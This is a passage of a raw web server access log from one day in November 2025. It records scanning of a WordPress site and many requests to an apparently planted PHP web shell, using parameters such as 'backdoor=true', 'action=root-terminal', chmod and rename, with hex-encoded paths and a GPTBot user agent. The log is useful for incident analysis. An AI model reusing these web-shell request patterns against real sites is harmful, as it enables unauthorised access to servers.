/assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3168 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.70.161 - - [17/Nov/2025:12:28:47 +0000] "GET /assets/wp/includes/includes/includes/css/wp/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.118.212 - - [17/Nov/2025:12:28:37 +0000] "GET /assets/assets-20251112184145/wp-content/wp-adminaa/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.228.61 - - [17/Nov/2025:12:28:38 +0000] "GET /robots.txt HTTP/2" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 222.252.108.203 - - [17/Nov/2025:12:28:39 +0000] "GET /assets/includes/js/includes/plugins/pagelayer/main/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 14.239.100.218 - - [17/Nov/2025:12:28:40 +0000] "GET /assets/backuply-20251107214702/js/wp-content/wp-adminaa/js/js/ HTTP/1.1" 200 666 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 45.228.77.73 - - [17/Nov/2025:12:28:41 +0000] "GET /assets/backuply/wp-adminaa/includes/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 113.180.63.235 - - [17/Nov/2025:12:28:42 +0000] "GET /assets/backuply-20251107214702/js/js/includes/themes/twentytwentyfour/ HTTP/1.1" 200 676 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.171.105.115 - - [17/Nov/2025:12:28:43 +0000] "GET /assets/assets/js/js/js/js/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.191.64.240 - - [17/Nov/2025:12:28:43 +0000] "GET /assets/network/js/includes/includes/css/jquery/ HTTP/1.1" 200 621 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 14.168.111.110 - - [17/Nov/2025:12:28:46 +0000] "GET /assets/assets-20251112184145/js/includes/css/plugins/pagelayer/ HTTP/1.1" 200 659 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 189.203.132.245 - - [17/Nov/2025:12:28:47 +0000] "GET /assets/backuply-20251107214702/wp/includes/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.87.241 - - [17/Nov/2025:12:28:48 +0000] "GET /assets/blocks/js/includes/css/network/wp/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.229.34.237 - - [17/Nov/2025:12:28:49 +0000] "GET /assets/img/network/js/includes/includes/jcfxeds/ HTTP/1.1" 200 1002 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 154.255.168.156 - - [17/Nov/2025:12:28:49 +0000] "GET /assets/backuply/network/js/includes/css/upgrade/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 152.168.135.97 - - [17/Nov/2025:12:28:52 +0000] "GET /assets/wp/js/includes/plugins/pagelayer/main/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.83.242 - - [17/Nov/2025:12:28:54 +0000] "GET /assets/assets/js/js/includes/includes/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:28:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473 HTTP/2" 200 3192 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.252.97 - - [17/Nov/2025:12:28:52 +0000] "GET /assets/blocks/js/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.175.130.59 - - [17/Nov/2025:12:28:52 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/js/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.188.94.154 - - [17/Nov/2025:12:28:54 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/includes/includes/jcfxeds/ HTTP/1.1" 200 1000 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:28:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3315 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.28.132.197 - - [17/Nov/2025:12:28:55 +0000] "GET /assets/css/fonts/plugins/siteseo/assets/img/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/121.2277.107 Mobile/15E148 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:28:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3145 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 200.55.244.130 - - [17/Nov/2025:12:29:02 +0000] "GET /assets/backuply/js/js/js/includes/css/ HTTP/1.1" 200 1018 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.169.206.144 - - [17/Nov/2025:12:29:02 +0000] "GET /assets/backuply-20251107214702/plugins/js/js/includes/blocks/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:29:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3277 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.234.176.219 - - [17/Nov/2025:12:29:03 +0000] "GET /assets/wp/includes/includes/css/upgrade/wp/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 190.226.157.120 - - [17/Nov/2025:12:29:05 +0000] "GET /assets/css/js/includes/jcfxeds/wp-contentaa/wp-content/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.230.255.95 - - [17/Nov/2025:12:29:05 +0000] "GET /assets/css/wp/includes/themes/twentytwentyfour/templates/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.5.106 - - [17/Nov/2025:12:29:06 +0000] "GET /assets/img/network/js/js/includes/backuply/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.169.237.230 - - [17/Nov/2025:12:29:06 +0000] "GET /assets/assets-20251112184145/img/includes/js/includes/backuply/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:29:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.70.180 - - [17/Nov/2025:12:29:09 +0000] "GET /assets/includes/js/includes/css/themes/twentytwentyfive/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.184.12.190 - - [17/Nov/2025:12:29:11 +0000] "GET /assets/backuply/jquery/wp-includes/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 573 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Trailer/93.3.3516.28" 74.7.227.184 - - [17/Nov/2025:12:29:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473&rename=wp-adminaa HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.146.247 - - [17/Nov/2025:12:29:12 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/jcfxeds/ysouwxa/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Trailer/93.3.3516.28" 45.175.143.245 - - [17/Nov/2025:12:29:13 +0000] "GET /assets/backuply/css/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:29:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6261636b75706c79 HTTP/2" 200 3251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 200.50.155.73 - - [17/Nov/2025:12:29:14 +0000] "GET /assets/assets-20251112184145/wp/network/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:29:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3556 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.169.78.89 - - [17/Nov/2025:12:29:16 +0000] "GET /assets/backuply/network/js/includes/plugins/backuply/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:29:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3233 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.166.53.40 - - [17/Nov/2025:12:29:17 +0000] "GET /assets/includes/includes/includes/includes/css/upgrade/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.234.109.57 - - [17/Nov/2025:12:29:18 +0000] "GET /assets/backuply/plugins/js/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11680 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.169.80.23 - - [17/Nov/2025:12:29:19 +0000] "GET /assets/wp/js/includes/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.178.209 - - [17/Nov/2025:12:29:20 +0000] "GET /assets/fonts/plugins/pagelayer/images/wp/mpLzwD.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:29:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6261636b75706c792f7770 HTTP/2" 200 3060 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.255.2.210 - - [17/Nov/2025:12:29:21 +0000] "GET /assets/backuply-20251107214702/includes/plugins/pagelayer/main/wp/ HTTP/1.1" 200 666 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:29:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a73 HTTP/2" 200 3259 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.227.196.136 - - [17/Nov/2025:12:28:55 +0000] "GET /assets/backuply-20251107214702/includes/plugins/backuply/assets/css/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.237.47.130 - - [17/Nov/2025:12:29:02 +0000] "GET /assets/wp-includes/network/js/includes/includes/css/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Trailer/93.3.3516.28" 131.255.62.13 - - [17/Nov/2025:12:29:02 +0000] "GET /assets/backuply/network/js/includes/js/wp/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.22.154.59 - - [17/Nov/2025:12:29:03 +0000] "GET /assets/backuply-20251107214702/wp/includes/includes/css/plugins/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.166.240 - - [17/Nov/2025:12:29:07 +0000] "GET /assets/wp/includes/themes/twentytwentyfour/styles/wp/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 123.28.210.164 - - [17/Nov/2025:12:29:08 +0000] "GET /assets/assets-20251112184145/jquery/css/plugins/backuply/assets/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 14.176.105.124 - - [17/Nov/2025:12:29:08 +0000] "GET /assets/fonts/js/includes/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 14.160.217.246 - - [17/Nov/2025:12:29:09 +0000] "GET /assets/backuply/css/plugins/backuply/assets/css/ HTTP/1.1" 200 622 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 113.190.178.171 - - [17/Nov/2025:12:29:11 +0000] "GET /assets/wp/includes/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9415.94" 14.249.91.127 - - [17/Nov/2025:12:29:14 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/plugins/backuply/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.16.203.47 - - [17/Nov/2025:12:29:16 +0000] "GET /assets/backuply/plugins/js/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.175.190.103 - - [17/Nov/2025:12:29:16 +0000] "GET /assets/backuply-20251107214702/plugins/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 186.22.225.66 - - [17/Nov/2025:12:29:21 +0000] "GET /assets/assets-20251112184145/css/wp/includes/upgrade/wp/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.173.190.115 - - [17/Nov/2025:12:29:23 +0000] "GET /assets/assets-20251112184145/includes/js/includes/jquery/wp/ HTTP/1.1" 200 664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.243.54.192 - - [17/Nov/2025:12:29:26 +0000] "GET /assets/blocks/js/includes/includes/includes/includes/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.0.1" 14.224.124.215 - - [17/Nov/2025:12:29:22 +0000] "GET /assets/backuply-20251107214702/jquery/css/wp/includes/plugins/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.182.115.126 - - [17/Nov/2025:12:29:23 +0000] "GET /assets/upgrade/js/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:29:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.184.73.147 - - [17/Nov/2025:12:29:26 +0000] "GET /assets/css/js/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:29:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573 HTTP/2" 200 3570 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.173.98.138 - - [17/Nov/2025:12:29:27 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/includes/includes/ HTTP/1.1" 200 680 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:29:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473&rename=wp-adminaa HTTP/2" 200 3229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.167.56.134 - - [17/Nov/2025:12:29:30 +0000] "GET /assets/css/js/includes/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.166.104.236 - - [17/Nov/2025:12:29:30 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 678 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/98.8.8175.80" 14.187.182.253 - - [17/Nov/2025:12:29:31 +0000] "GET /assets/img/network/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:29:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3240 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.255.63.163 - - [17/Nov/2025:12:29:31 +0000] "GET /assets/assets-20251112184145/js/assets/includes/plugins/backuply/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.0.1" 74.7.227.184 - - [17/Nov/2025:12:29:34 +0000] "GET 